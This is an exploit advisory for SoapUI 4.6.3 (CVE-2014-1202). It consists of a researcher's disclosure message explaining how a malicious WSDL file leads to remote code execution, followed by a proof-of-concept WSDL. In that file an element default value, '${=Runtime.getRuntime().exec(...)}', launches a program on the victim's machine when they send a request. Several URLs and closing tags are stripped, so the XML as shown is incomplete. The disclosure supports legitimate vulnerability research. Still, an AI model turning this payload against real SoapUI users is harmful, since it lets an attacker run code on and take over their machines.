SoapUI 4.6.3 - Remote Code Execution Exploit

SoapUI 4.6.3

# Exploit Title: SoapUI Remote Code Execution
# Date: 25.12.13
# Exploit Author: Barak Tawily
# Vendor Homepage: <>
# Software Link:
# Version: vulnerable before 4.6.4
# Tested on: Windows, should work at Linux as well
# CVE : CVE-2014-1202

Hey guys.

My name is Barak Tawily, I work for Appsec-Labs as information security

I have been found remote code execution vulnerability in the SoapUI product,
which allows me to execute a java code to the victim's computer via
malicious WSDL/WADL file.

This vulnerability allows attacker to execute java code to any client's
machine that will use my WSDL file and will try to send request to the
remote server.

SoapUI allows the client execute code by entering a java code inside the
following tag, the java code will be executed when the client will try to
send request to the server:


Thus, an attacker can make a malicious WSDL file, determine a malicious java
code as default value in one of the requests parameters, hence, when client
uses malicious WSDL file and will try to send a request the java code will
be executed.

The attack flow is:

1. The attacker makes a malicious web service with fake WSDL including
the java payload that will be executed on the victim.

2. The victim enters the soapUI program and will enter the malicious
WSDL address.

3. The victim decides to send a request to the server, and the java
code executed on the victim's machine.

4. The attacker succeed execute java code in the victim's machine, and
will take over it.

This vulnerability was check on the version (4.6.3), a proof of concept
video can be found at:

malicious WSDL is attached.

Please let me know if the vulnerability is about to publish

Thanks, Barak.

<?xml version="1.0"?>
<definitions name="StockQuote"

<schema targetNamespace=""
<element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="string">
<element name="tickerSymbol" type="string"/>
<element name="TradePrice">
<element name="price" type="float"/>

<message name="GetLastTradePriceInput">
<part name="body" element="xsd1:Payload"/>

<message name="GetLastTradePriceOutput">
<part name="body" element="xsd1:TradePrice"/>

<portType name="StockQuotePortType">
<operation name="Malicious_Request">
<input message="tns:GetLastTradePriceInput"/>
<output message="tns:GetLastTradePriceOutput"/>

<binding name="Exploit" type="tns:StockQuotePortType">
<soap:binding style="document" transport=""/>
<operation name="Malicious_Request">
<soap:operation soapAction=""/>
<soap:body use="literal"/>
<soap:body use="literal"/>

<service name="StockQuoteService">
<documentation>My first service</documentation>
<port name="StockQuotePort" binding="tns:StockQuoteSoapBinding">
<soap:address location=""/>